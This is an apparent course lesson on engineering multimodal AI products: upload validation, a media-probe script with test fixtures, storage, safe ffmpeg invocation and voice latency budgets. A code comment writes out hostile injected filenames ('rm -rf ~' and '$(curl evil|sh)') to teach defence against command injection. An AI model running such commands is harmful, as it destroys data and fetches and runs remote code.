09.10 Building, Evaluating and Operating Multimodal Products

Agents & multimodalLesson 10 of 1013,862 words7 parts
Module 09 · 0 of 3 lessons done
  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10

The nine lessons before this one each taught you how to do one thing with media: read an image, extract a document, generate a picture, transcribe speech, synthesize a voice, hold a realtime conversation, watch a video, search across modalities. This lesson is where those pieces become a product. A multimodal feature is never just an API call: it is an upload pipeline that rejects hostile files, a queue that survives a provider outage, a cost model that survives your first busy week, an eval suite that catches the day a model update changes behaviour, and a consent story your users actually understand. This lesson covers the engineering around the model calls — architecture, latency and UX, cost, evaluation, safety and compliance, reliability and fallbacks — and closes the module with a checklist and a capstone design.

What you'll learn

  • The reference architecture for multimodal products: ingest → validate → preprocess → model call(s) → post-process → store/serve, and where streaming and async jobs fit
  • How to validate uploads before a byte reaches a provider (magic bytes, size and duration limits, decompression bombs), and how to transcode safely with ffmpeg
  • Media storage patterns: object storage, signed URLs, CDNs, lifecycle rules, and deleting media on request
  • Perceived latency versus measured latency, voice latency budgets, offline and on-device options, accessibility, and multilingual UX
  • Cost engineering per modality: what actually drives the bill (image tokens, audio seconds, video seconds, generated images, TTS characters, realtime minutes), and how to build a cost model with prices as parameters
  • How to evaluate each modality — vision, documents, generated images, speech recognition, speech synthesis, voice agents, video, multimodal retrieval — and how LLM/VLM judges fit (and where they mislead)
  • Safety, privacy and compliance across modalities: consent, retention and deletion, PII in media, content moderation endpoints per provider, deepfake and impersonation risk, and the regulatory landscape as of November 2026
  • Reliability patterns: degraded modes, per-modality retries, idempotency for media jobs, quality gates, human review queues, and canary tests with fixed media fixtures
  • How to choose when text is enough, when to add vision, and when voice earns its place — plus the module wrap-up checklist and a capstone architecture

What you don't need

  • API keys. Every runnable sample in this lesson is pure Python (standard library only, or the provider SDKs if you want the illustrative provider samples). The media probe, the cost model and the latency budget all run offline.
  • Depth on any single modality. This lesson links back to the module's lessons for the how; it owns the around.
  • Evaluation depth. Module 10A owns eval methodology properly; this lesson gives you the multimodal-specific metrics and the minimum viable eval loop.
  • Legal advice. The compliance sections are engineering awareness, verified against official sources, not counsel.

Setup

This lesson's runnable samples need only Python 3.11+ and the standard library — there is no uv add step for them:

bash
uv init multimodal-products --bare --python 3.13   # first time only; or any project folder
cd multimodal-products

The one illustrative provider sample (Part 5.4) uses the openai SDK (checked against 3.42.1 as of November 2026; a plain install gives you the newest release) if you want to try it with a key:

bash
uv add openai python-dotenv

Keys, where a sample needs one, come from .env via python-dotenv — see lesson 03.1. Everything else in this lesson runs with no key and no network.


What you must be able to do after this lesson#

  • Draw a reference architecture for a multimodal product
  • Validate and store uploaded media safely
  • Reduce perceived and measured latency
  • Estimate and control cost per modality
  • Plan fallbacks for a failing modality
  • Decide when text is enough and when to add vision or voice

Why this matters for an AI engineer#

You'll hear... You'll understand it after...
"Just pipe the upload straight to the model." 1.3 Validate before you send
"Video transcription takes ten minutes — the user is staring at a spinner." 1.4 Async jobs, progress and webhooks
"Where do the generated images live, and who can see them?" 1.5 Media storage: objects, signed URLs, lifecycle, deletion
"The voice agent feels laggy but the API is fast." 2.2 Voice latency budgets
"Our invoice-extraction bill tripled when we added page images." 3.2 The cost model calculator
"The new model version got worse at reading receipts." 4.5 A/B testing, drift and pinning
"A user uploaded a photo of a stranger's ID card." 5.3 PII in media
"Can we moderate user images with the same API we generate with?" 5.4 Content moderation
"Gemini is down — does the whole product go down?" 6.1 Degraded modes
"Should this feature be a chatbot or a voice agent?" 7.1 Choosing and combining modalities

Part 1: Product architecture for multimodal systems#

1.1 The reference pipeline#

Every multimodal feature in this module fits one shape. The names differ; the stages don't:

flowchart LR
    subgraph client ["Client"]
        U["User uploads<br/>photo / audio / PDF / video"]
    end
    subgraph app ["Your application"]
        V["Validate:<br/>type, size, duration,<br/>decoding limits"]
        P["Preprocess:<br/>resize, transcode,<br/>extract frames, strip EXIF"]
        M["Model call(s):<br/>VLM / ASR / TTS / image gen /<br/>realtime session"]
        Q["Post-process:<br/>validate output,<br/>format, store"]
        S[("Media store:<br/>object storage + DB")]
    end
    subgraph providers ["Providers"]
        API["OpenAI / Anthropic /<br/>Gemini / OpenRouter /<br/>specialists"]
    end
    U --> V --> P --> M --> Q --> S
    M <--> API

Three properties of this pipeline matter more than any single stage:

  1. Validation happens before the provider sees a byte. Uploads are hostile input (03.6, 6.8); a 40,000×40,000 pixel PNG can be 200 KB on disk and 5 GB decoded. 1.3 builds the checker.
  2. The model call is replaceable. Keep provider specifics behind your own small interface (the spirit of 03.11) so outages, price changes and capability gaps become routing decisions, not rewrites.
  3. Outputs are untrusted too. A generated image can contain text you didn't ask for; a transcript can contain instructions aimed at your next LLM call (indirect prompt injection). Post-process and validate outputs exactly like you validate inputs — and treat any text extracted from media as untrusted content (03.4, 6.3).

1.2 Two shapes: request/response and async job#

Not every media operation fits in one HTTP request. Split your features into two shapes early, because they need different infrastructure:

Shape Examples UX Infrastructure
Synchronous Caption an image, classify a receipt, answer a question about a short audio clip Result in seconds; spinner or streaming is enough One request → provider → response; bounded retries (03.8)
Asynchronous job Transcribe a 2-hour meeting, generate a video, batch-extract 5,000 invoices Progress indicator, notification on completion; the user may leave Job record + queue/worker + status polling or webhook + result storage (03.9)

The dividing line is expected latency and cost, not modality. A 10-second audio clip can be synchronous; a 3-minute video summary is a job. When in doubt, make it a job — you can always add a "fast path" later, but retrofitting async onto a synchronous endpoint means every client changes.

1.3 Validate before you send#

The first line of defence is a media probe: read the file's magic bytes (the signature every format starts with), confirm the declared type matches the actual type, and extract cheap metadata — dimensions, duration, page count — before anything is decoded or uploaded. This is the same philosophy as 03.6, 9.4's preflight check, applied at your front door rather than at the provider's.

python
# media_probe.py — validate an upload before it reaches a model or storage.
# Standard library only: no Pillow, no ffprobe, no network. Run it:
#   uv run python media_probe.py
#
# What it does, in order:
#   1. Sniff the first 64 bytes to identify the real format (never trust
#      the filename extension or the client-sent Content-Type) — every
#      magic signature we check, plus the ISO-BMFF compatible-brands
#      list, lives at the front of the file.
#   2. Reject files over the per-kind byte cap on stat() BEFORE reading
#      the body — a hostile multi-GB upload is never loaded into RAM.
#   3. For the formats whose metadata lives past the head, read at most
#      cap+1 bytes (the +1 also catches a file that grew mid-probe),
#      then extract cheap metadata — pixel dimensions, WAV duration,
#      PDF page count, ISO-BMFF brand — with header parsing only.
#   4. Reject decompression-bomb shapes: absurd pixel counts or declared
#      dimensions that exceed sane limits for the product.
#
# It deliberately does NOT decode the image/audio/video. Decoding is where
# bombs go off; headers are where the truth is cheap.

from __future__ import annotations

import struct
import wave
from dataclasses import dataclass
from pathlib import Path

# --- policy: tune these to your product -------------------------------------

MAX_BYTES = {
    "image": 15 * 1024 * 1024,     # 15 MB — under every provider's inline cap
    "audio": 100 * 1024 * 1024,    # 100 MB — a ~55 min 16 kHz mono WAV
    "video": 500 * 1024 * 1024,    # 500 MB — trim before upload anyway
    "document": 50 * 1024 * 1024,  # 50 MB PDF
}
MAX_PIXELS = 40_000_000            # 40 MP — phones are ~12-48 MP; screens smaller
MAX_AUDIO_SECONDS = 4 * 3600       # 4 h — longer goes to chunked batch (09.4)
ALLOWED = {"png", "jpeg", "gif", "webp", "wav", "mp3", "ogg", "mp4", "m4a", "pdf"}
# Formats whose cheap metadata lives past the 64-byte head and so need a
# capped body read. Containers (mp4/m4a/mp3/ogg) are judged on brand and
# size alone — real duration/dimensions are ffprobe's job (1.6).
_BODY_FORMATS = {"png", "jpeg", "gif", "webp", "wav", "pdf"}


@dataclass
class ProbeResult:
    ok: bool
    kind: str            # "image" | "audio" | "video" | "document" | "unknown"
    fmt: str             # sniffed format: "png", "jpeg", ...
    detail: str          # human-readable metadata
    width: int | None = None
    height: int | None = None
    duration_s: float | None = None
    pages: int | None = None
    error: str | None = None


def _png_size(data: bytes) -> tuple[int, int] | None:
    # PNG: 8-byte signature, then IHDR chunk: length(4) "IHDR"(4) width(4) height(4)
    if len(data) >= 24 and data[:8] == b"\x89PNG\r\n\x1a\n" and data[12:16] == b"IHDR":
        w, h = struct.unpack(">II", data[16:24])
        return w, h
    return None


def _gif_size(data: bytes) -> tuple[int, int] | None:
    # GIF: "GIF87a"/"GIF89a" then logical screen width/height as little-endian u16
    if len(data) >= 10 and data[:3] == b"GIF":
        w, h = struct.unpack("<HH", data[6:10])
        return w, h
    return None


def _jpeg_size(data: bytes) -> tuple[int, int] | None:
    # JPEG: walk segments to the first SOF (start-of-frame) marker.
    if len(data) < 4 or data[:2] != b"\xff\xd8":
        return None
    i = 2
    while i + 9 < len(data):
        if data[i] != 0xFF:
            i += 1
            continue
        marker = data[i + 1]
        # SOF markers: C0-C3, C5-C7, C9-CB, CD-CF (not C4/C8/CC = DHT/JPG/DAC)
        if marker in (0xC0, 0xC1, 0xC2, 0xC3, 0xC5, 0xC6, 0xC7,
                      0xC9, 0xCA, 0xCB, 0xCD, 0xCE, 0xCF):
            h, w = struct.unpack(">HH", data[i + 5:i + 9])
            return w, h
        if marker in (0xD8, 0xD9) or 0xD0 <= marker <= 0xD7:
            i += 2
            continue
        seg_len = struct.unpack(">H", data[i + 2:i + 4])[0]
        i += 2 + seg_len
    return None


def _webp_size(data: bytes) -> tuple[int, int] | None:
    # WebP: RIFF....WEBP then a VP8/VP8L/VP8X chunk. We only handle VP8X
    # (extended) and VP8 (lossy) canvas sizes; good enough as a sanity cap.
    if len(data) < 30 or data[:4] != b"RIFF" or data[8:12] != b"WEBP":
        return None
    fourcc = data[12:16]
    if fourcc == b"VP8X" and len(data) >= 30:
        w = int.from_bytes(data[24:27], "little") + 1
        h = int.from_bytes(data[27:30], "little") + 1
        return w, h
    if fourcc == b"VP8 " and len(data) >= 30:
        # Lossy bitstream: frame tag(3) start code(3) width(2) height(2), 14 bits each
        w = struct.unpack("<H", data[26:28])[0] & 0x3FFF
        h = struct.unpack("<H", data[28:30])[0] & 0x3FFF
        return w, h
    return None  # VP8L and animated WebP: fall through to "unknown dims"


def _pdf_pages(data: bytes) -> int | None:
    # Cheap page count: count "/Type /Page" leaf objects in the first chunk.
    # "/Type /Page" is a substring of "/Type /Pages" (the page-tree nodes),
    # so subtract those — otherwise every tree level adds phantom pages.
    # Still not exact (object streams, compressed xref) — a sanity hint,
    # not a contract; use pypdf for real counts.
    head = data[: 1024 * 1024]
    if not head.startswith(b"%PDF-"):
        return None
    spaced = head.count(b"/Type /Page") - head.count(b"/Type /Pages")
    tight = head.count(b"/Type/Page") - head.count(b"/Type/Pages")
    return spaced + tight


def _mp4_brand(data: bytes) -> str | None:
    # ISO-BMFF: bytes 4-8 are box size, 8-12 "ftyp", 12-16 the major brand.
    if len(data) >= 16 and data[4:8] == b"ftyp":
        return data[8:12].decode("ascii", "replace").strip()
    return None


def _bmff_is_audio(head: bytes) -> bool:
    """Heuristic: does an ISO-BMFF header declare an audio-only brand?

    Checks the major brand and the compatible-brands list inside the ftyp
    box — all within the head we already read. Audio-only brands: M4A
    (AAC/.m4a voice memos), M4B (audiobook), M4P (protected AAC). Generic
    brands (isom/mp42/qt) can still wrap audio-only files — the robust
    check is the 'hdlr' handler box deeper in the file, or ffprobe (1.6).
    """
    if len(head) < 16 or head[4:8] != b"ftyp":
        return False
    box_size = struct.unpack(">I", head[:4])[0]
    # Compatible brands are 4-byte codes from offset 16 up to the ftyp box
    # size (or the head we have, whichever is smaller). box_size 0/1 are
    # the "to EOF"/64-bit-largesize sentinels — check the major brand only.
    end = min(len(head), box_size) if box_size >= 16 else 16
    brands = [head[8:12]] + [head[i:i + 4] for i in range(16, end - 3, 4)]
    return any(b in (b"M4A ", b"M4B ", b"M4P ") for b in brands)


def _wav_info(data: bytes) -> tuple[float | None, int | None, int | None]:
    # WAV via the stdlib wave module — gives real duration and channels.
    import io
    try:
        with wave.open(io.BytesIO(data), "rb") as w:
            frames, rate = w.getnframes(), w.getframerate()
            return (frames / rate if rate else None), w.getnchannels(), rate
    except (wave.Error, EOFError):
        return None, None, None


def probe(path: str | Path, *, max_bytes: int | None = None) -> ProbeResult:
    """Sniff + lightly parse an upload. `max_bytes` overrides all per-kind caps."""
    p = Path(path)
    size = p.stat().st_size

    # Stage 1 — sniff: read only the head. Every magic signature we check,
    # plus the ISO-BMFF compatible-brands list, lives in the first 64
    # bytes, so a hostile multi-GB file is rejected by stat() below before
    # a single body byte is loaded into memory.
    with p.open("rb") as f:
        head = f.read(64)

    # --- identify by magic bytes -------------------------------------------
    fmt, kind, brand = "unknown", "unknown", None
    if head[:8] == b"\x89PNG\r\n\x1a\n":
        fmt, kind = "png", "image"
    elif head[:3] == b"\xff\xd8\xff":
        fmt, kind = "jpeg", "image"
    elif head[:6] in (b"GIF87a", b"GIF89a"):
        fmt, kind = "gif", "image"
    elif head[:4] == b"RIFF" and head[8:12] == b"WEBP":
        fmt, kind = "webp", "image"
    elif head[:4] == b"RIFF" and head[8:12] == b"WAVE":
        fmt, kind = "wav", "audio"
    elif head[:3] == b"ID3" or (len(head) > 1 and head[0] == 0xFF and head[1] & 0xE0 == 0xE0):
        fmt, kind = "mp3", "audio"
    elif head[:4] == b"OggS":
        fmt, kind = "ogg", "audio"
    elif head[:4] == b"%PDF":
        fmt, kind = "pdf", "document"
    elif len(head) >= 12 and head[4:8] == b"ftyp":
        brand = _mp4_brand(head)
        # ISO-BMFF covers audio-only files too (.m4a voice memos, .m4b
        # audiobooks) — without the brand check they'd get the 500 MB
        # video cap and skip the audio rules entirely.
        if _bmff_is_audio(head):
            fmt, kind = "m4a", "audio"
        else:
            fmt, kind = "mp4", "video"
    elif head[:2] == b"PK":  # docx/xlsx/zip — we don't accept these raw
        fmt, kind = "zip", "unknown"

    if fmt not in ALLOWED or kind == "unknown":
        return ProbeResult(False, kind, fmt, "",
                           error=f"unsupported or unrecognized format '{fmt}'")

    # --- per-kind byte cap, BEFORE reading the body --------------------------
    cap = max_bytes if max_bytes is not None else MAX_BYTES[kind]
    if size > cap:
        return ProbeResult(False, kind, fmt, "",
                           error=f"{size} bytes exceeds the {kind} cap of {cap}")

    # --- stage 2: read the body, capped -------------------------------------
    # Only formats whose metadata lives past the head need it. cap+1 bytes
    # also catches a file that grew between stat() and now — don't trust
    # stat() alone.
    data = head
    if fmt in _BODY_FORMATS:
        with p.open("rb") as f:
            data = f.read(cap + 1)
        if len(data) > cap:
            return ProbeResult(False, kind, fmt, "",
                               error=f"file exceeds the {kind} cap of {cap} bytes")

    # --- metadata + bomb checks ----------------------------------------------
    width = height = duration_s = pages = None
    detail = f"{fmt}, {size} bytes"

    if kind == "image":
        dims = {"png": _png_size, "gif": _gif_size, "jpeg": _jpeg_size,
                "webp": _webp_size}[fmt](data)
        if dims is None:
            return ProbeResult(False, kind, fmt, "",
                               error=f"could not read {fmt} dimensions from header")
        width, height = dims
        pixels = width * height
        if pixels > MAX_PIXELS:
            return ProbeResult(
                False, kind, fmt, "",
                error=f"{width}x{height} = {pixels:,} pixels exceeds "
                      f"the {MAX_PIXELS:,}-pixel cap (possible decompression bomb)")
        detail += f", {width}x{height}"
    elif fmt == "wav":
        duration_s, channels, rate = _wav_info(data)
        if duration_s is not None:
            detail += f", {duration_s:.1f}s, {channels}ch, {rate}Hz"
            if duration_s > MAX_AUDIO_SECONDS:
                return ProbeResult(False, kind, fmt, "",
                                   error=f"{duration_s:.0f}s exceeds the "
                                         f"{MAX_AUDIO_SECONDS}s audio cap")
        else:
            return ProbeResult(False, kind, fmt, "",
                               error="RIFF/WAVE header present but wave module "
                                     "could not parse it")
    elif fmt == "pdf":
        pages = _pdf_pages(data)
        detail += f", ~{pages} pages" if pages else ", page count unknown"
    elif kind == "video" or fmt == "m4a":
        detail += f", brand {brand or 'unknown'}"
        # Honest limitation: real duration/dimensions need ffprobe (1.6).

    return ProbeResult(True, kind, fmt, detail, width, height,
                       duration_s, pages)


def _png_bytes(w: int, h: int) -> bytes:
    # Just enough of a PNG for the header parser: signature + IHDR dims.
    return (b"\x89PNG\r\n\x1a\n" + b"\x00\x00\x00\x0dIHDR"
            + struct.pack(">II", w, h) + b"\x08\x06\x00\x00\x00" + b"\x00" * 32)


def make_fixtures(directory: str | Path) -> list[Path]:
    """Write tiny valid/hostile fixture files for testing the probe."""
    import io
    import tempfile

    d = Path(directory)
    d.mkdir(parents=True, exist_ok=True)
    files = {}

    files["ok.png"] = _png_bytes(2, 3)
    files["bomb.png"] = _png_bytes(40000, 40000)          # decompression-bomb shape
    files["ok.gif"] = b"GIF89a" + struct.pack("<HH", 2, 3) + b"\x00" * 20
    files["fake.png"] = b"PK\x03\x04" + b"\x00" * 40      # ZIP renamed .png
    files["ok.pdf"] = b"%PDF-1.4\n1 0 obj<</Type /Page>>endobj\n%%EOF"
    files["ok.mp4"] = b"\x00\x00\x00\x18ftypisom" + b"\x00" * 20
    # ISO-BMFF audio-only: major brand M4A — an iPhone voice memo shape.
    files["ok.m4a"] = (b"\x00\x00\x00\x18ftypM4A " + b"\x00\x00\x00\x00"
                       + b"M4A " + b"\x00\x00\x00\x00")

    buf = io.BytesIO()
    with wave.open(buf, "wb") as w:
        w.setnchannels(1)
        w.setsampwidth(2)
        w.setframerate(16000)
        w.writeframes(b"\x00\x00" * 1600)                # 0.1 s of silence
    files["ok.wav"] = buf.getvalue()

    paths = []
    for name, blob in files.items():
        p = d / name
        p.write_bytes(blob)
        paths.append(p)
    return paths


if __name__ == "__main__":
    import sys
    import tempfile

    if len(sys.argv) > 1:
        targets = [Path(a) for a in sys.argv[1:]]
    else:
        # No arguments: build the fixture set in a temp dir and probe it.
        targets = make_fixtures(Path(tempfile.mkdtemp(prefix="mprobe-")))
    for p in targets:
        r = probe(p)
        status = "OK  " if r.ok else "FAIL"
        print(f"{status} {p.name}: {r.kind}/{r.fmt} — {r.detail or r.error}")

Output (pure-local, ran — python media_probe.py with no arguments builds the fixture set itself in a temp dir):

text
OK   ok.png: image/png — png, 61 bytes, 2x3
FAIL bomb.png: image/png — 40000x40000 = 1,600,000,000 pixels exceeds the 40,000,000-pixel cap (possible decompression bomb)
OK   ok.gif: image/gif — gif, 30 bytes, 2x3
FAIL fake.png: unknown/zip — unsupported or unrecognized format 'zip'
OK   ok.pdf: document/pdf — pdf, 43 bytes, ~1 pages
OK   ok.mp4: video/mp4 — mp4, 32 bytes, brand isom
OK   ok.m4a: audio/m4a — m4a, 24 bytes, brand M4A
OK   ok.wav: audio/wav — wav, 3244 bytes, 0.1s, 1ch, 16000Hz

1.4 Async jobs, progress and webhooks#

When an operation takes longer than a user will wait — a 2-hour transcription, a batch of generations, a video summary — model it as a job:

sequenceDiagram
    participant U as User / client
    participant A as Your API
    participant Q as Job queue + worker
    participant P as Provider (or ffmpeg)

    U->>A: POST /jobs {media_id, task}
    A->>A: validate + store media, create job row (status=queued)
    A-->>U: 202 {job_id}
    Q->>P: submit work (provider batch / prediction / subprocess)
    Q->>A: status updates → job row (running, progress%)
    U->>A: GET /jobs/{id} (poll) or waits for webhook
    P-->>Q: result ready
    Q->>A: store result, status=succeeded
    A-->>U: result URL / notification

The components and their rules:

  • Job record. One row per job: id, user_id, input_media_id, task, status, progress, result_media_id, error, created_at, provider_job_id, idempotency_key. The state machine is queued → running → succeeded | failed | cancelled; allow running → queued for retries with a bounded attempt count.
  • Worker. Anything that picks up queued rows: Celery, RQ, an asyncio loop, a cron poller, or a provider's own queue. Keep the worker dumb — it calls your pipeline stages and writes status; all policy lives in the job handlers.
  • Progress. If the provider gives no progress, report coarse stages (queued → preprocessing → transcribing (3/12 chunks) → post-processing → done). A determinate bar that lies is worse than an honest stage label; chunked work (09.4's long-audio chunking) gives you real denominators.
  • Completion delivery. Two options, often both: the client polls GET /jobs/{id} (simple, works everywhere, costs requests) or you register a webhook with the provider.

Provider-side async APIs come in three flavours you'll meet:

Provider pattern Example (verified Nov 2026) Completion signal
Batch file API OpenAI/Anthropic/Gemini/OpenRouter batch endpoints (03.9) Poll the batch object; results in a file
Prediction/queue API fal.ai Queue API (queue.fal.run), Replicate predictions Webhook POST or status poll
Your own subprocess/queue ffmpeg transcode, self-hosted Whisper Your worker knows when it's done

fal.ai's queue takes a webhook_url at submit time and POSTs {request_id, status: "OK"|"ERROR", payload} on completion (the Python and JavaScript clients take webhook_url; fal's docs say to acknowledge with a 2xx within 15 seconds, that failed deliveries are retried, and to make the handler tolerate repeats for the same request_id). Replicate's predictions accept a webhook URL plus a webhook_events_filter (start, output, logs, completed), and — importantly — API-created predictions and their outputs are deleted after about an hour, so the webhook handler must persist results immediately. Both are the same shape as your own job system: submit → handle callback → store.

1.5 Media storage: objects, signed URLs, lifecycle, deletion#

Model APIs are ephemeral by design: inline bytes are re-sent every call, provider file uploads expire (03.6, 5.8), and generated outputs live wherever the provider put them. Your store is the system of record.

The standard pattern is object storage + a database index:

flowchart TD
    subgraph store ["Object storage (S3 / GCS / Azure Blob / R2)"]
        O1["media/{user_id}/{media_id}.png"]
        O2["derived/{media_id}/320.webp"]
        O3["results/{job_id}/transcript.json"]
    end
    subgraph db ["Your database"]
        R["media row:<br/>id, owner, kind, mime, bytes,<br/>sha256, source, retention_until,<br/>exif_stripped, scan_status"]
    end
    CLI["Client"] -- "1. POST /uploads (policy-checked metadata)" --> API["Your API"]
    CLI -- "2. PUT bytes to presigned URL" --> O1
    API -- "3. register row, enqueue scan+probe" --> R
    CLI -- "4. GET /media/{id}/url → short-lived signed URL" --> O1
    O1 -. "lifecycle rule:<br/>expire after retention_until" .-> X["auto-deleted"]

The pieces, each with a verified reference:

  • Signed URLs (a.k.a. presigned URLs / SAS). Time-limited URLs that grant one operation on one object without giving the client your cloud credentials. AWS S3 console presigns last 1 minute–12 hours; via CLI/SDK up to 7 days (S3 docs). GCS V4 signed URLs work the same way (GCS docs). Azure calls them SAS tokens, and a storage account can enforce a maximum validity interval (Azure docs). Rule of thumb: sign for minutes, not days — issue a fresh URL per view, and set the URL's expiry before your own retention deadline so a leaked link dies first.
  • CDN. Put a CDN (CloudFront, Cloudflare, Fastly) in front of public or semi-public media; it caches derived thumbnails aggressively while originals stay private behind signed URLs. Thumbnails you generate once (derived/ above) are the CDN's job, not the model's.
  • Lifecycle rules. Every object store has age/prefix-based automation: GCS lifecycle rules support Delete, SetStorageClass (cheaper cold tiers) and AbortIncompleteMultipartUpload, with conditions on age, prefix and version count (GCS lifecycle docs); S3 has equivalent lifecycle configuration; Azure has management policies. Use them for two things: cost tiering (move old media to cold storage) and guaranteed deletion (a lifecycle Delete at retention_until is your safety net when application code forgets).
  • Deleting on request. Privacy requests ("delete my data") must reach three places: your object store (delete the objects and the DB rows), provider-side files (each Files API has a delete endpoint — 03.6, 5.8), and derived artefacts (thumbnails, embeddings, transcripts, cached model inputs). Write the deletion as one idempotent job that walks all of them, and keep an audit row proving it ran — 5.2 covers the policy side.
  • Integrity. Store a sha256 of the original bytes. It gives you dedup (same upload → same hash → reuse the probe/scan results), tamper evidence, and a cheap integrity check when you hand the file to a provider.

1.6 Transcoding with ffmpeg, safely#

Video and audio almost always need transcoding: normalise to the format/codec/sample-rate the provider wants (09.4 covers the audio side; 09.8 the video side). ffmpeg is the tool; the danger is how you invoke it. The sample below is illustrative — it needs ffmpeg/ffprobe installed and was not executed in this lesson:

python
# transcode.py — safe ffmpeg invocation. The rule: NEVER interpolate user
# input into a shell string. Pass an argument LIST to subprocess; ffmpeg
# then receives each argument literally, and a filename like
#   "x.mp4; rm -rf ~"  or  "$(curl evil|sh)"
# is just a weird filename, not a command.
#
# Also: write outputs to YOUR paths, probe inputs first, cap duration,
# and run with a timeout — ffmpeg on a hostile file can spin forever.

import subprocess


def probe_duration(path: str) -> float:
    """ffprobe: duration in seconds, or raise. Cheap, read-only."""
    out = subprocess.run(
        ["ffprobe", "-v", "error", "-show_entries", "format=duration",
         "-of", "default=noprint_wrappers=1:nokey=1", path],
        capture_output=True, text=True, timeout=30, check=True,
    )
    return float(out.stdout.strip())


def transcode_to_wav16k_mono(src: str, dst: str, *, max_seconds: int = 4 * 3600) -> None:
    """The canonical ASR input: 16 kHz mono PCM WAV (see 09.4)."""
    duration = probe_duration(src)
    if duration > max_seconds:
        raise ValueError(f"{duration:.0f}s exceeds the {max_seconds}s cap")
    subprocess.run(
        ["ffmpeg", "-hide_banner", "-loglevel", "error", "-y",
         "-i", src,                       # input: user file, as ONE argument
         "-t", str(max_seconds),          # hard stop, whatever the container claims
         "-ac", "1", "-ar", "16000",      # mono, 16 kHz
         "-c:a", "pcm_s16le", dst],       # PCM16 WAV
        capture_output=True, text=True, timeout=600, check=True,
    )

The checklist for safe transcoding, beyond the code:

  • Argument list, never shell=True. Even subprocess.run(f"ffmpeg -i {name} ...", shell=True) is a command-injection bug waiting for a filename.
  • Your output paths only. Never let the user pick the destination; derive it from your media ID.
  • Bound everything. -t duration cap, timeout= on the subprocess, and ideally a memory/CPU-limited worker (a container or ulimit) — ffmpeg decoding a crafted file can exhaust RAM before Python notices.
  • Scan before and after. Transcoding doesn't disinfect; a malicious subtitle stream or metadata payload survives remuxing. Strip metadata you don't need (-map_metadata -1) and scan the output too.
  • Don't transcode what you don't need. If the provider accepts the original format and quality is acceptable, skip the step — it's CPU time, latency and a place for bugs.

Part 2: Latency and UX#

2.1 Perceived latency is a design material#

Users don't experience your p50; they experience waiting. The same 8-second transcription feels instant with a progress bar and broken with a frozen spinner. The tools you have, roughly in order of effort:

Technique What it does Cost
Skeleton screens / staged status Show the pipeline stages (uploaded → transcribing → summarising) so the wait has shape Cheap; do it always
Streaming partial results Show tokens/segments as they arrive (03.3) Provider support; slightly more client code
Optimistic UI Show the input immediately ("Listening…", thumbnail) while work runs Cheap; never fake the result
Chunked progress Report 3/12 chunks for long jobs Needs chunked processing (09.4, 09.8)
Caching Same image/audio asked twice → instant second answer Storage + invalidation logic
Pre-computation Transcribe on upload, before the user asks Pays compute for unused work — usually worth it for likely-next-step artefacts

The rule: latency budgets are per-modality and per-feature, and the UX is part of the feature. A voice agent has a hard conversational budget (see below); a batch document pipeline has none — its "latency" is the SLA you promise, measured in minutes to hours.

2.2 Voice latency budgets#

Voice is the only modality where latency is a quality metric, not just a convenience: past a few hundred milliseconds of dead air, conversation stops feeling like conversation. 09.6 owns the transport and turn-taking details; 09.7 owns the realtime APIs. What you own here is the budget discipline:

text
voice turn latency = capture + encode + network up
                   + endpointing/VAD decision
                   + model time-to-first-output (token or audio)
                   + network down + jitter buffer + playback

The engineering habits that keep it inside budget:

  • Measure every stage, per turn. Log ttfa_ms (time-to-first-audio) alongside STT confidence, endpointing delay and barge-in count — 09.7's observability section covers what to record. Averages hide the tail; report p50/p95/p99, because the 5% of turns that stutter are what users remember.
  • Endpointing is a latency dial. Longer silence thresholds feel more natural but add dead air; shorter ones clip hesitant speakers. Tune on your callers' pause patterns, not the provider default (09.6 has the VAD/end-of-turn trade-offs).
  • Filler phrases buy thinking time. "Let me check that" while a tool call runs (08A.2's tool loop in a voice wrapper) converts an awkward 3-second silence into perceived responsiveness — at the cost of verbosity; use it for slow tools only.
  • Barge-in must cancel work, not just audio. On interruption, stop playback and truncate the assistant's turn in context to what the user actually heard (09.6, 09.7) — otherwise the model "remembers" saying things the user never heard.
  • Choose the architecture for the budget. Cascaded STT→LLM→TTS has more hops but more control (you can stream each); speech-to-speech models collapse the hops but trade controllability — the trade-off table is in 09.6.
python
# voice_budget.py — a voice-turn latency budget calculator.
# Every stage is a parameter: measure yours, don't copy mine.
# Run: uv run python voice_budget.py

def voice_turn_ms(*, capture_ms=30, encode_ms=5, network_up_ms=40,
                  endpointing_ms=350, stt_ms=0, model_ttft_ms=400,
                  tts_ttfa_ms=250, network_down_ms=40,
                  jitter_ms=60, playback_start_ms=10) -> dict:
    """Sum the stages of one voice turn.

    stt_ms=0 means the STT and the LLM are fused (realtime speech-to-speech
    model): there is no separate transcription step. For a cascaded pipeline
    set it to your STT's time-to-final-transcript.

    model_ttft_ms is the LLM's time-to-first-text-token in a cascaded
    pipeline, but the model's true time-to-first-audio in a fused
    speech-to-speech call — the stage label says "first output" for both.
    """
    stages = {
        "capture+encode": capture_ms + encode_ms,
        "network up": network_up_ms,
        "endpointing (silence before turn ends)": endpointing_ms,
        "STT (0 if fused)": stt_ms,
        "model first output (TTFT / TTFA)": model_ttft_ms,
        "TTS time-to-first-audio (0 if fused)": tts_ttfa_ms,
        "network down + jitter": network_down_ms + jitter_ms,
        "playback start": playback_start_ms,
    }
    total = sum(stages.values())
    return {"stages": stages, "total_ms": total}


if __name__ == "__main__":
    cascaded = voice_turn_ms(stt_ms=180, model_ttft_ms=600, tts_ttfa_ms=220)
    fused = voice_turn_ms(model_ttft_ms=700, tts_ttfa_ms=0)  # speech-to-speech: no STT/TTS hops
    for name, r in [("cascaded", cascaded), ("speech-to-speech", fused)]:
        print(f"{name}: {r['total_ms']} ms")
        for k, v in r["stages"].items():
            print(f"    {k:45s} {v:5d} ms")
Output · pure-local, ran — python voice_budget.py18 lines
cascaded: 1535 ms
    capture+encode                                   35 ms
    network up                                       40 ms
    endpointing (silence before turn ends)          350 ms
    STT (0 if fused)                                180 ms
    model first output (TTFT / TTFA)                600 ms
    TTS time-to-first-audio (0 if fused)            220 ms
    network down + jitter                           100 ms
    playback start                                   10 ms
speech-to-speech: 1235 ms
    capture+encode                                   35 ms
    network up                                       40 ms
    endpointing (silence before turn ends)          350 ms
    STT (0 if fused)                                  0 ms
    model first output (TTFT / TTFA)                700 ms
    TTS time-to-first-audio (0 if fused)              0 ms
    network down + jitter                           100 ms
    playback start                                   10 ms

